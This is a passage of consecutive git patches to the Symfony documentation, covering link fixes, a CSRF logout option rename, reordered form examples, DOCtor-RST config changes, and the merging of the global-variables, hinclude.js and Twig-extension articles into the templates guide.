@@ -410,9 +410,9 @@ You can also specify the message domain and pass some additional variables:
 
 .. caution::
 
-Using the translation tag has the same effect as the filter, but with one
-major difference: automatic output escaping is **not** applied to translations
-using a tag.
+    Using the translation tag has the same effect as the filter, but with one
+    major difference: automatic output escaping is **not** applied to translations
+    using a tag.
 
 Forcing the Translator Locale
 -----------------------------

From 35313fe907a865339ad27c2f2ee8fcc2fbb76afb Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 29 Jan 2023 21:21:09 +0100
Subject: [PATCH 2849/5766] Fix broken links

---
 translation.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/translation.rst b/translation.rst
index 12b62c6ce12..052844f70a8 100644
--- a/translation.rst
+++ b/translation.rst
@@ -568,9 +568,8 @@ if you're generating translations with specialized programs or teams.
 .. note::
 
     You can also store translations in a database; it can be handled by
-    Doctrine through the `Translatable Extension`_ or the `Translatable
-    Behavior`_ (PHP 5.4+). For more information, see the documentation for
-    these libraries.
+    Doctrine through the `Translatable Extension`_ or the `Translatable Behavior`_
+    (PHP 5.4+). For more information, see the documentation for these libraries.
 
     For any other storage, you need to provide a custom class implementing the
     :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface`
@@ -699,8 +698,8 @@ configure the ``providers`` option:
 .. tip::
 
     If you use Lokalise as a provider and a locale format following the `ISO
-    639-1`_ (e.g. "en" or "fr"), you have to set the `Custom Language Name
-    setting`_ in Lokalise for each of your locales, in order to override the
+    639-1`_ (e.g. "en" or "fr"), you have to set the `Custom Language Name setting`_
+    in Lokalise for each of your locales, in order to override the
     default value (which follow the `ISO 639-1`_ succeeded by a sub-code in
     capital letters that specifies the national variety (e.g. "GB" or "US"
     according to `ISO 3166-1 alpha-2`_)).

From ced6562566d13944247de6d2c6e353356bf202a5 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Tue, 29 Nov 2022 13:53:45 +0100
Subject: [PATCH 2850/5766] =?UTF-8?q?[Security]=20Rename=20logout=E2=80=99?=
 =?UTF-8?q?s=20`csrf=5Ftoken=5Fgenerator`=20to=20`csrf=5Ftoken=5Fmanager`?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 reference/configuration/security.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 10365ab21bf..f0f28a00180 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -465,8 +465,8 @@ enable_csrf
 **type**: ``boolean`` **default**: ``null``
 
 Set this option to ``true`` to enable CSRF protection in the logout process
-using Symfony's default CSRF token generator. Set also the ``csrf_token_generator``
-option if you need to use a custom CSRF token generator.
+using Symfony's default CSRF token manager. Set also the ``csrf_token_manager``
+option if you need to use a custom CSRF token manager.
 
 .. versionadded:: 6.2
 
@@ -479,8 +479,8 @@ csrf_parameter
 
 The name of the parameter that stores the CSRF token value.
 
-csrf_token_generator
-~~~~~~~~~~~~~~~~~~~~
+csrf_token_manager
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 

From d13dce3b03e2614a8befd09cae792aab072c8be8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 30 Jan 2023 10:44:29 +0100
Subject: [PATCH 2851/5766] Remove obsolete versionadded directive

---
 service_container/lazy_services.rst | 10 ----------
 1 file changed, 10 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 2194d0e632c..7e4e54733e6 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -105,11 +105,6 @@ For example, to define your service as lazy use the following::
         // ...
     }
 
-.. versionadded:: 5.4
-
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute
-    was introduced in Symfony 5.4.
-
 Interface Proxifying
 --------------------
 
@@ -184,11 +179,6 @@ parameter value::
         // ...
     }
 
-.. versionadded:: 5.4
-
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute
-    was introduced in Symfony 5.4.
-
 The virtual `proxy`_ injected into other services will only implement the
 specified interfaces and will not extend the original service class, allowing to
 lazy load services using `final`_ classes. You can configure the proxy to

From cb9660ad6af7ba5b98608f9df464b90bbd41cb6c Mon Sep 17 00:00:00 2001
From: Andrey Bolonin <andreybolonin@users.noreply.github.com>
Date: Mon, 30 Jan 2023 14:44:14 +0300
Subject: [PATCH 2852/5766] Update expressions.rst

add complex is_granted and is_granted example
---
 security/expressions.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/security/expressions.rst b/security/expressions.rst
index 070cf1deaa7..15e2eb3995c 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -34,6 +34,23 @@ and ``#[IsGranted()]`` attribute also accept an
                 // ...
             }
         }
+    .. code-block:: php-attributes
+
+        // src/Controller/MyController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\ExpressionLanguage\Expression;
+        use Symfony\Component\HttpFoundation\Response;
+
+        class MyController extends AbstractController
+        {
+            #[IsGranted(new Expression('is_granted("ROLE_ADMIN") or is_granted("ROLE_MANAGER")'))]
+            public function index(): Response
+            {
+                // ...
+            }
+        }
 
     .. code-block:: php
 

From be1e3215900691ae6f6c98ee1208c0aa57744463 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 30 Jan 2023 16:14:27 +0100
Subject: [PATCH 2853/5766] Fix: Order of code-blocks

---
 components/form.rst | 190 ++++++++++++++++++++++----------------------
 1 file changed, 95 insertions(+), 95 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index ef1e1ed609c..ac569e3d8eb 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -387,22 +387,6 @@ is created from the form factory.
 
 .. configuration-block::
 
-    .. code-block:: php-standalone
-
-        use Symfony\Component\Form\Extension\Core\Type\DateType;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
-
-        // ...
-
-        $form = $formFactory->createBuilder()
-            ->add('task', TextType::class)
-            ->add('dueDate', DateType::class)
-            ->getForm();
-
-        var_dump($twig->render('new.html.twig', [
-            'form' => $form->createView(),
-        ]));
-
     .. code-block:: php-symfony
 
         // src/Controller/TaskController.php
@@ -431,6 +415,22 @@ is created from the form factory.
             }
         }
 
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
+
+        // ...
+
+        $form = $formFactory->createBuilder()
+            ->add('task', TextType::class)
+            ->add('dueDate', DateType::class)
+            ->getForm();
+
+        var_dump($twig->render('new.html.twig', [
+            'form' => $form->createView(),
+        ]));
+
 As you can see, creating a form is like writing a recipe: you call ``add()``
 for each new field you want to create. The first argument to ``add()`` is the
 name of your field, and the second is the fully qualified class name. The Form
@@ -447,23 +447,6 @@ an "edit" form), pass in the default data when creating your form builder:
 
 .. configuration-block::
 
-    .. code-block:: php-standalone
-
-        use Symfony\Component\Form\Extension\Core\Type\DateType;
-        use Symfony\Component\Form\Extension\Core\Type\FormType;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
-
-        // ...
-
-        $defaults = [
-            'dueDate' => new \DateTime('tomorrow'),
-        ];
-
-        $form = $formFactory->createBuilder(FormType::class, $defaults)
-            ->add('task', TextType::class)
-            ->add('dueDate', DateType::class)
-            ->getForm();
-
     .. code-block:: php-symfony
 
         // src/Controller/DefaultController.php
@@ -490,6 +473,23 @@ an "edit" form), pass in the default data when creating your form builder:
             }
         }
 
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\FormType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
+
+        // ...
+
+        $defaults = [
+            'dueDate' => new \DateTime('tomorrow'),
+        ];
+
+        $form = $formFactory->createBuilder(FormType::class, $defaults)
+            ->add('task', TextType::class)
+            ->add('dueDate', DateType::class)
+            ->getForm();
+
 .. tip::
 
     In this example, the default data is an array. Later, when you use the
@@ -533,19 +533,6 @@ by :method:`Symfony\\Component\\Form\\Form::handleRequest` to determine whether
 
 .. configuration-block::
 
-    .. code-block:: php-standalone
-
-        use Symfony\Component\Form\Extension\Core\Type\FormType;
-
-        // ...
-
-        $formBuilder = $formFactory->createBuilder(FormType::class, null, [
-            'action' => '/search',
-            'method' => 'GET',
-        ]);
-
-        // ...
-
     .. code-block:: php-symfony
 
         // src/Controller/DefaultController.php
@@ -567,46 +554,28 @@ by :method:`Symfony\\Component\\Form\\Form::handleRequest` to determine whether
             }
         }
 
-.. _component-form-intro-handling-submission:
-
-Handling Form Submissions
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-To handle form submissions, use the :method:`Symfony\\Component\\Form\\Form::handleRequest`
-method:
-
-.. configuration-block::
-
     .. code-block:: php-standalone
 
-        use Symfony\Component\Form\Extension\Core\Type\DateType;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
-        use Symfony\Component\HttpFoundation\RedirectResponse;
-        use Symfony\Component\HttpFoundation\Request;
+        use Symfony\Component\Form\Extension\Core\Type\FormType;
 
         // ...
 
-        $form = $formFactory->createBuilder()
-            ->add('task', TextType::class)
-            ->add('dueDate', DateType::class)
-            ->getForm();
-
-        $request = Request::createFromGlobals();
-
-        $form->handleRequest($request);
+        $formBuilder = $formFactory->createBuilder(FormType::class, null, [
+            'action' => '/search',
+            'method' => 'GET',
+        ]);
 
-        if ($form->isSubmitted() && $form->isValid()) {
-            $data = $form->getData();
+        // ...
 
-            // ... perform some action, such as saving the data to the database
+.. _component-form-intro-handling-submission:
 
-            $response = new RedirectResponse('/task/success');
-            $response->prepare($request);
+Handling Form Submissions
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
-            return $response->send();
-        }
+To handle form submissions, use the :method:`Symfony\\Component\\Form\\Form::handleRequest`
+method:
 
-        // ...
+.. configuration-block::
 
     .. code-block:: php-symfony
 
@@ -640,6 +609,37 @@ method:
             }
         }
 
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\HttpFoundation\RedirectResponse;
+        use Symfony\Component\HttpFoundation\Request;
+
+        // ...
+
+        $form = $formFactory->createBuilder()
+            ->add('task', TextType::class)
+            ->add('dueDate', DateType::class)
+            ->getForm();
+
+        $request = Request::createFromGlobals();
+
+        $form->handleRequest($request);
+
+        if ($form->isSubmitted() && $form->isValid()) {
+            $data = $form->getData();
+
+            // ... perform some action, such as saving the data to the database
+
+            $response = new RedirectResponse('/task/success');
+            $response->prepare($request);
+
+            return $response->send();
+        }
+
+        // ...
+
 .. caution::
 
     The form's ``createView()`` method should be called *after* ``handleRequest()`` is
@@ -672,25 +672,6 @@ option when building each field:
 
 .. configuration-block::
 
-    .. code-block:: php-standalone
-
-        use Symfony\Component\Form\Extension\Core\Type\DateType;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
-        use Symfony\Component\Validator\Constraints\NotBlank;
-        use Symfony\Component\Validator\Constraints\Type;
-
-        $form = $formFactory->createBuilder()
-            ->add('task', TextType::class, [
-                'constraints' => new NotBlank(),
-            ])
-            ->add('dueDate', DateType::class, [
-                'constraints' => [
-                    new NotBlank(),
-                    new Type(\DateTime::class),
-                ],
-            ])
-            ->getForm();
-
     .. code-block:: php-symfony
 
         // src/Controller/DefaultController.php
@@ -721,6 +702,25 @@ option when building each field:
             }
         }
 
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\Validator\Constraints\NotBlank;
+        use Symfony\Component\Validator\Constraints\Type;
+
+        $form = $formFactory->createBuilder()
+            ->add('task', TextType::class, [
+                'constraints' => new NotBlank(),
+            ])
+            ->add('dueDate', DateType::class, [
+                'constraints' => [
+                    new NotBlank(),
+                    new Type(\DateTime::class),
+                ],
+            ])
+            ->getForm();
+
 When the form is bound, these validation constraints will be applied automatically
 and the errors will display next to the fields on error.
 

From 1dbb1dc67d4514c351e0e448fb24eba54d997223 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 30 Jan 2023 16:27:13 +0100
Subject: [PATCH 2854/5766] Use specific DOCtor-RST version

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index c501b1a54fa..48fc477767a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst
+                uses: docker://oskarstark/doctor-rst:1.35.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 38a337e4a0a8cff397c9137ba28ae9e4d8bf6e87 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 30 Jan 2023 16:29:32 +0100
Subject: [PATCH 2855/5766] Remove unused whitelist entries from DOCtor-RST
 config

---
 .doctor-rst.yaml | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 16703c616b1..9247ed41dfe 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -72,7 +72,6 @@ rules:
 whitelist:
     regex:
         - '/FOSUserBundle(.*)\.yml/'
-        - '/``.yml``/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
         - /docker-compose\.yml/
     lines:
@@ -85,13 +84,10 @@ whitelist:
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
         - '.. versionadded:: 5.1' # Private Services
-        - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
-        - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '123,' # assertion for var_dumper - components/var_dumper.rst
         - '"foo",' # assertion for var_dumper - components/var_dumper.rst
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'
         - '.. versionadded:: 0.2' # MercureBundle
-        - 'provides a ``loginUser()`` method to simulate logging in in your functional'
         - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
         - '.. versionadded:: 3.8' # MonologBundle

From 94075af27db9531cd319e92b1ad6a4b7aaf35deb Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 30 Jan 2023 16:42:44 +0100
Subject: [PATCH 2856/5766] Fix: DOCtor-RST build

---
 .doctor-rst.yaml | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index b475aac4a84..35fc2eed110 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -71,7 +71,7 @@ rules:
 # do not report as violation
 whitelist:
     regex:
-        - '/FOSUserBundle(.*)\.yml/'
+        - '/``.yml``/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
         - /docker-compose\.yml/
     lines:
@@ -84,9 +84,6 @@ whitelist:
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
         - '.. versionadded:: 2.7.1' # Doctrine
-        - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
-        - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
-        - '.. versionadded:: 5.1' # Private Services
         - '123,' # assertion for var_dumper - components/var_dumper.rst
         - '"foo",' # assertion for var_dumper - components/var_dumper.rst
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'

From fa3a677b52f86a6914bdfb0a352d7d672e5d0d36 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 29 Jan 2023 16:41:33 +0100
Subject: [PATCH 2857/5766] Consolidate templating docs

---
 _build/redirection_map                |   6 +-
 reference/configuration/framework.rst |   2 +-
 reference/configuration/twig.rst      |   2 +-
 reference/dic_tags.rst                |   2 +-
 reference/twig_reference.rst          |   2 +-
 security/csrf.rst                     |   2 +-
 templates.rst                         | 405 +++++++++++++++++++++++++-
 templating/PHP.rst                    |  10 -
 templating/global_variables.rst       | 116 --------
 templating/hinclude.rst               |  99 -------
 templating/twig_extension.rst         | 172 -----------
 11 files changed, 403 insertions(+), 415 deletions(-)
 delete mode 100644 templating/PHP.rst
 delete mode 100644 templating/global_variables.rst
 delete mode 100644 templating/hinclude.rst
 delete mode 100644 templating/twig_extension.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 082598a5081..7a7534a765f 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -256,7 +256,8 @@
 /cookbook/session/proxy_examples /session/proxy_examples
 /cookbook/session/sessions_directory /session/sessions_directory
 /cookbook/symfony1 /introduction/symfony1
-/cookbook/templating/global_variables /templating/global_variables
+/cookbook/templating/global_variables /templating#templating-global-variables
+/templating/global_variables /templating#templating-global-variables
 /cookbook/templating/index /templating
 /cookbook/templating/namespaced_paths /templating/namespaced_paths
 /cookbook/templating/PHP /templating/PHP
@@ -388,6 +389,9 @@
 /quick_tour/the_view /quick_tour/flex_recipes
 /service_container/service_locators /service_container/service_subscribers_locators
 /templating/overriding /bundles/override
+/templating/twig_extension /templates#templates-twig-extension
+/templating/hinclude /templates#templates-hinclude
+/templating/PHP /templates
 /security/custom_provider /security/user_provider
 /security/multiple_user_providers /security/user_provider
 /security/custom_password_authenticator /security/guard_authentication
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ae42b5607cd..66e9d7f9f76 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -736,7 +736,7 @@ is disabled. This can be either a template name or the content itself.
 
 .. seealso::
 
-    See :doc:`/templating/hinclude` for more information about hinclude.
+    See :ref:`templates-hinclude` for more information about hinclude.
 
 .. _reference-fragments-path:
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 29b22fb3e28..d7a6e64916b 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -231,7 +231,7 @@ globals
 **type**: ``array`` **default**: ``[]``
 
 It defines the global variables injected automatically into all Twig templates.
-Learn more about :doc:`Twig global variables </templating/global_variables>`.
+Learn more about :ref:`Twig global variables <templating-global-variables>`.
 
 number_format
 ~~~~~~~~~~~~~
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 6123c5c04d2..c1e2c902605 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1287,7 +1287,7 @@ the service is auto-registered and auto-tagged. But, you can also register it ma
 
 For information on how to create the actual Twig Extension class, see
 `Twig's documentation`_ on the topic or read the
-:doc:`/templating/twig_extension` article.
+:ref:`templates-twig-extension` article.
 
 twig.loader
 -----------
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 5f89688991b..85c44bd57a3 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -12,7 +12,7 @@ components with Twig templates. This article explains them all.
 .. tip::
 
     If these extensions provided by Symfony are not enough, you can
-    :doc:`create a custom Twig extension </templating/twig_extension>` to define
+    :ref:`create a custom Twig extension <templates-twig-extension>` to define
     even more filters and functions.
 
 .. _reference-twig-functions:
diff --git a/security/csrf.rst b/security/csrf.rst
index 12a00ef185c..5e659be9750 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -71,7 +71,7 @@ protected forms. As an alternative, you can:
 * Embed the form inside an uncached :doc:`ESI fragment </http_cache/esi>` and
   cache the rest of the page contents;
 * Cache the entire page and load the form via an uncached AJAX request;
-* Cache the entire page and use :doc:`hinclude.js </templating/hinclude>` to
+* Cache the entire page and use :ref:`hinclude.js <templates-hinclude>` to
   load the CSRF token with an uncached AJAX request and replace the form
   field value with it.
 
diff --git a/templates.rst b/templates.rst
index 280a5f9b6df..f61b0efd6d5 100644
--- a/templates.rst
+++ b/templates.rst
@@ -9,6 +9,10 @@ whether you need to render HTML from a :doc:`controller </controller>` or genera
 the :doc:`contents of an email </mailer>`. Templates in Symfony are created with
 Twig: a flexible, fast, and secure template engine.
 
+.. caution::
+
+    Starting from Symfony 5.0, PHP templates are no longer supported.
+
 .. _twig-language:
 
 Twig Templating Language
@@ -56,7 +60,7 @@ being rendered, like the ``upper`` filter to uppercase contents:
 Twig comes with a long list of `tags`_, `filters`_ and `functions`_ that are
 available by default. In Symfony applications you can also use these
 :doc:`Twig filters and functions defined by Symfony </reference/twig_reference>`
-and you can :doc:`create your own Twig filters and functions </templating/twig_extension>`.
+and you can :ref:`create your own Twig filters and functions <templates-twig-extension>`.
 
 Twig is fast in the ``prod`` :ref:`environment <configuration-environments>`
 (because templates are compiled into PHP and cached automatically), but
@@ -407,7 +411,125 @@ gives you access to these variables:
     object representing the security token.
 
 In addition to the global ``app`` variable injected by Symfony, you can also
-:doc:`inject variables automatically to all Twig templates </templating/global_variables>`.
+inject variables automatically to all Twig templates as explained in the next
+section.
+
+.. index::
+   single: Templating; Global variables
+
+.. _templating-global-variables:
+
+Global Variables
+~~~~~~~~~~~~~~~~
+
+Twig allows you to automatically inject one or more variables into all
+templates. These global variables are defined in the ``twig.globals`` option
+inside the main Twig configuration file:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/twig.yaml
+        twig:
+            # ...
+            globals:
+                ga_tracking: 'UA-xxxxx-x'
+
+    .. code-block:: xml
+
+        <!-- config/packages/twig.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig
+                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
+
+            <twig:config>
+                <!-- ... -->
+                <twig:global key="ga_tracking">UA-xxxxx-x</twig:global>
+            </twig:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/twig.php
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            // ...
+
+            $twig->global('ga_tracking')->value('UA-xxxxx-x');
+        };
+
+Now, the variable ``ga_tracking`` is available in all Twig templates, so you
+can use it without having to pass it explicitly from the controller or service
+that renders the template:
+
+.. code-block:: html+twig
+
+    <p>The Google tracking code is: {{ ga_tracking }}</p>
+
+In addition to static values, Twig global variables can also reference services
+from the :doc:`service container </service_container>`. The main drawback is
+that these services are not loaded lazily. In other words, as soon as Twig is
+loaded, your service is instantiated, even if you never use that global
+variable.
+
+To define a service as a global Twig variable, prefix the service ID string
+with the ``@`` character, which is the usual syntax to :ref:`refer to services
+in container parameters <service-container-parameters>`:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/twig.yaml
+        twig:
+            # ...
+            globals:
+                # the value is the service's id
+                uuid: '@App\Generator\UuidGenerator'
+
+    .. code-block:: xml
+
+        <!-- config/packages/twig.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig
+                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
+
+            <twig:config>
+                <!-- ... -->
+                <twig:global key="uuid" id="App\Generator\UuidGenerator" type="service"/>
+            </twig:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/twig.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            // ...
+
+            $twig->global('uuid')->value(service('App\Generator\UuidGenerator'));
+        };
+
+Now you can use the ``uuid`` variable in any Twig template to access to the
+``UuidGenerator`` service:
+
+.. code-block:: twig
+
+    UUID: {{ uuid.generate }}
 
 Twig Components
 ---------------
@@ -682,7 +804,7 @@ Inspecting Twig Information
 
 The ``debug:twig`` command lists all the information available about Twig
 (functions, filters, global variables, etc.). It's useful to check if your
-:doc:`custom Twig extensions </templating/twig_extension>` are working properly
+:ref:`custom Twig extensions <templates-twig-extension>` are working properly
 and also to check the Twig features added when :ref:`installing packages <symfony-flex>`:
 
 .. code-block:: terminal
@@ -906,10 +1028,103 @@ template fragments. Configure that special URL in the ``fragments`` option:
     the application performance if you embed lots of controllers. If possible,
     :doc:`cache the template fragment </http_cache/esi>`.
 
-.. seealso::
+.. index::
+    single: Templating; hinclude.js
+
+.. _templates-hinclude:
+
+How to Embed Asynchronous Content with hinclude.js
+--------------------------------------------------
+
+Templates can also embed contents asynchronously with the ``hinclude.js``
+JavaScript library.
+
+First, include the `hinclude.js`_ library in your page
+:ref:`linking to it <templates-link-to-assets>` from the template or adding it
+to your application JavaScript :doc:`using Webpack Encore </frontend>`.
+
+As the embedded content comes from another page (or controller for that matter),
+Symfony uses a version of the standard ``render()`` function to configure
+``hinclude`` tags in templates:
+
+.. code-block:: twig
+
+    {{ render_hinclude(controller('...')) }}
+    {{ render_hinclude(url('...')) }}
 
-    Templates can also :doc:`embed contents asynchronously </templating/hinclude>`
-    with the ``hinclude.js`` JavaScript library.
+.. note::
+
+    When using the ``controller()`` function, you must also configure the
+    :ref:`fragments path option <fragments-path-config>`.
+
+When JavaScript is disabled or it takes a long time to load you can display a
+default content rendering some template:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            fragments:
+                hinclude_default_template: hinclude.html.twig
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:fragments hinclude-default-template="hinclude.html.twig"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->fragments()
+                ->hincludeDefaultTemplate('hinclude.html.twig')
+            ;
+        };
+
+You can define default templates per ``render()`` function (which will override
+any global default template that is defined):
+
+.. code-block:: twig
+
+    {{ render_hinclude(controller('...'),  {
+        default: 'default/content.html.twig'
+    }) }}
+
+Or you can also specify a string to display as the default content:
+
+.. code-block:: twig
+
+    {{ render_hinclude(controller('...'), {default: 'Loading...'}) }}
+
+Use the ``attributes`` option to define the value of hinclude.js options:
+
+.. code-block:: twig
+
+    {# by default, cross-site requests don't use credentials such as cookies, authorization
+       headers or TLS client certificates; set this option to 'true' to use them #}
+    {{ render_hinclude(controller('...'), {attributes: {'data-with-credentials': 'true'}}) }}
+
+    {# by default, the JavaScript code included in the loaded contents is not run;
+       set this option to 'true' to run that JavaScript code #}
+    {{ render_hinclude(controller('...'), {attributes: {evaljs: 'true'}}) }}
 
 Template Inheritance and Layouts
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1207,14 +1422,175 @@ you can refer to it as ``@AcmeFoo/user/profile.html.twig``.
     You can also :ref:`override bundle templates <override-templates>` in case
     you want to change some parts of the original bundle templates.
 
-Learn more
-----------
+.. index::
+   single: Twig extensions
+
+.. _templates-twig-extension:
+
+Writing a Twig Extension
+------------------------
+
+`Twig Extensions`_ allow the creation of custom functions, filters, and more to use
+in your Twig templates. Before writing your own Twig extension, check if
+the filter/function that you need is already implemented in:
+
+* The `default Twig filters and functions`_;
+* The :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`;
+* The `official Twig extensions`_ related to strings, HTML, Markdown, internationalization, etc.
+
+Create the Extension Class
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Suppose you want to create a new filter called ``price`` that formats a number
+as currency:
+
+.. code-block:: twig
+
+    {{ product.price|price }}
+
+    {# pass in the 3 optional arguments #}
+    {{ product.price|price(2, ',', '.') }}
+
+Create a class that extends ``AbstractExtension`` and fill in the logic::
+
+    // src/Twig/AppExtension.php
+    namespace App\Twig;
+
+    use Twig\Extension\AbstractExtension;
+    use Twig\TwigFilter;
+
+    class AppExtension extends AbstractExtension
+    {
+        public function getFilters()
+        {
+            return [
+                new TwigFilter('price', [$this, 'formatPrice']),
+            ];
+        }
+
+        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
+        {
+            $price = number_format($number, $decimals, $decPoint, $thousandsSep);
+            $price = '$'.$price;
+
+            return $price;
+        }
+    }
+
+If you want to create a function instead of a filter, define the
+``getFunctions()`` method::
+
+    // src/Twig/AppExtension.php
+    namespace App\Twig;
+
+    use Twig\Extension\AbstractExtension;
+    use Twig\TwigFunction;
+
+    class AppExtension extends AbstractExtension
+    {
+        public function getFunctions()
+        {
